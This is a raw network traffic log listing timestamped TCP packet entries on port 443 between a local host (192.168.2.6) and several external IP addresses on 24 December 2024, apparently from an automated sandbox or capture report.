Dec 24, 2024 19:28:26.823385954 CET	443	49960	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.827353954 CET	443	49961	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:26.874763012 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.874773979 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.874828100 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.875020981 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.875032902 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.917862892 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:26.917905092 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:26.918154001 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:26.930110931 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:26.930128098 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:26.952680111 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.952709913 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.952758074 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.953480005 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:26.953491926 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:26.970194101 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:26.970231056 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:26.970351934 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:26.970581055 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:26.970596075 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:26.998845100 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.998883009 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:26.998985052 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.999212027 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:26.999229908 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:27.248059988 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.252032995 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.252094984 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.252126932 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.263593912 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.263917923 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.263932943 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.270778894 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.270855904 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.270864010 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.285912991 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.286109924 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.286118031 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.302784920 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.302881002 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.302896976 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.362432003 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.362451077 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.367724895 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.367774010 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.367783070 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.372112989 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.372164965 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.372173071 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.387624979 CET	443	49961	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:27.387696028 CET	49961	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:27.387721062 CET	443	49961	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:27.387768030 CET	49961	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:27.392934084 CET	443	49960	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.393002987 CET	49960	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.399877071 CET	443	49962	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.399940014 CET	49962	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.439954042 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.440005064 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.440015078 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.444691896 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.444741011 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.444747925 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.456022978 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.456073046 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.456079960 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.469748020 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.469907999 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.469918013 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.483335018 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.483381987 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.483392000 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.498275995 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.498394966 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.498414993 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.511568069 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.511629105 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.511636019 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.524331093 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.524380922 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.524389029 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.537816048 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.537874937 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.537883043 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.555289030 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.555357933 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.555366993 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.562721014 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.562762976 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.562768936 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.574404001 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.574481964 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.574491978 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.586486101 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.586548090 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.586555958 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.598187923 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.598237991 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.598244905 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.624660969 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.624711990 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.624722958 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.627424002 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.627469063 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.627528906 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.627545118 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.627585888 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.635654926 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.643486023 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.643536091 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.643543959 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.651396990 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.651447058 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.651453018 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.658938885 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.659017086 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.659024000 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.666438103 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.666510105 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.666517973 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.674077034 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.674210072 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.674240112 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.674247026 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.674283028 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.681814909 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.689529896 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.689587116 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.689594030 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.696876049 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.696948051 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.696954012 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.706367016 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.706484079 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.706528902 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.706537008 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.706573009 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.711987972 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.719499111 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.719578981 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.719855070 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.719862938 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.719897985 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.727900982 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.734642982 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.734687090 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.734694958 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.742234945 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.742270947 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.742285013 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.742292881 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.742340088 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.749780893 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.757479906 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.757601976 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.757610083 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.766119003 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.766226053 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.766237020 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.766243935 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.766338110 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.778196096 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.780797005 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.780841112 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.780862093 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.780869961 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.780915976 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.787482023 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.793943882 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.793975115 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.794014931 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.794024944 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.794248104 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.801177979 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.814696074 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.814733982 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.814740896 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.814749002 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.814785957 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.814801931 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.818078995 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.818238974 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.818247080 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.819309950 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.819356918 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.819364071 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.824579954 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.824625015 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.824631929 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.828929901 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.829022884 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.829029083 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.833859921 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.833925009 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.833931923 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.838515997 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.838562965 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.838570118 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.842971087 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.843019962 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.843027115 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.847404957 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.847619057 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.847626925 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.847718000 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.847752094 CET	443	49951	142.250.181.65	192.168.2.6
Dec 24, 2024 19:28:27.847809076 CET	49951	443	192.168.2.6	142.250.181.65
Dec 24, 2024 19:28:27.986293077 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.987538099 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.987602949 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.988533974 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.988600016 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.990062952 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.990137100 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.990439892 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.990461111 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.991719961 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.991928101 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.991949081 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.993500948 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.993572950 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.994556904 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:27.994719028 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:27.994726896 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:27.996185064 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:27.996239901 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:27.998596907 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.998694897 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:27.998761892 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:27.998769999 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.000178099 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.000272989 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.000307083 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.043339968 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.059046984 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.074107885 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.074117899 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.074129105 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.086144924 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.118113041 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.118132114 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.119394064 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.119452953 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.124159098 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.124219894 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.124291897 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.163621902 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.171324015 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.174333096 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.200100899 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.200119019 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.201222897 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.201282024 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.208622932 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.208698988 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.208772898 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.209281921 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.209306955 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.209605932 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.209613085 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.210731030 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.210794926 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.212249994 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.212332964 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.212666035 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.212681055 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.213208914 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.213252068 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:28.213373899 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.214179039 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.214194059 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:28.285347939 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.303067923 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.303117990 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.303287029 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.304461956 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.304476023 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.331332922 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.331387043 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.349328041 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.349389076 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.349561930 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.349951982 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.349987030 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.358246088 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.370014906 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:28.370162010 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.370618105 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.370630026 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:28.372307062 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.372313023 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:28.372347116 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:28.372354984 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:28.405384064 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.405420065 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.405636072 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.405813932 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.405826092 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.426752090 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.426801920 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.426975965 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.427083969 CET	49968	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.427124023 CET	443	49968	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.431361914 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.431431055 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.431550980 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.431623936 CET	49969	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.431641102 CET	443	49969	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.434086084 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.434175014 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.434226990 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.434273005 CET	49972	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.434281111 CET	443	49972	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.522514105 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.522567987 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.522658110 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.524136066 CET	49976	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.524146080 CET	443	49976	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.599221945 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.599383116 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.599458933 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.643513918 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.643589020 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.643724918 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.646589994 CET	49987	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:28.646620035 CET	443	49987	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:28.647326946 CET	49992	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:28.647360086 CET	443	49992	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:28.710244894 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:28.710838079 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:28.710849047 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:28.711901903 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:28.711966038 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:28.713061094 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:28.713128090 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:28.786741972 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:28.786753893 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:28.975590944 CET	49982	443	192.168.2.6	18.161.69.30
